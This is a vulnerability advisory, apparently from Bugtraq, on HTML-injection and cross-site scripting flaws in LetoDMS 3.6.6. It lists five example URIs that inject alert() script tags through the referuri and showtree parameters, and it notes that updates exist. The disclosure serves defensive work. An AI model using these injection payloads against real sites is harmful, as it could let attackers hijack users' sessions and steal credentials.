LetoDMS Multiple HTML Injection and Cross Site Scripting Vulnerabilities

Bugtraq ID:	55181
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 23 2012 12:00AM
Updated:	Aug 28 2012 01:00PM
Credit:	Shai rod
Vulnerable:
Not Vulnerable:

LetoDMS Multiple HTML Injection and Cross Site Scripting Vulnerabilities

LetoDMS is prone to multiple HTML-injection and cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

LetoDMS 3.6.6 is vulnerable; other versions may also be affected.

LetoDMS Multiple HTML Injection and Cross Site Scripting Vulnerabilities

An attacker must trick an unsuspecting victim into following a malicious URI to exploit the cross-site scripting issues. An attacker can exploit the HTML-injection issues through a browser.

The following example URIs are available:

http://www.example.com/letodms/out/out.Login.php?referuri='><script>alert("XSS")</script>

http://www.example.com/letodms/out/out.ViewDocument.php?documentid=2&showtree=%22%3E%3Cscript%3Ealert%280%29%3C/script%3E

http://www.example.com/letodms/out/out.FolderNotify.php?folderid=1&showtree=1%22%3E%3Cscript%3Ealert%281%29%3C/script%3E

http://www.example.com/letodms/out/out.FolderAccess.php?folderid=1&showtree=1"><script>alert(1)</script>

http://www.example.com/letodms/out/out.EditFolder.php?folderid=1&showtree=1"><script>alert(1)</script>

LetoDMS Multiple HTML Injection and Cross Site Scripting Vulnerabilities

Solution:
Updates are available. Please see the references for details.

LetoDMS Multiple HTML Injection and Cross Site Scripting Vulnerabilities

References:

• LetoDMS Homepage (LetoDMS)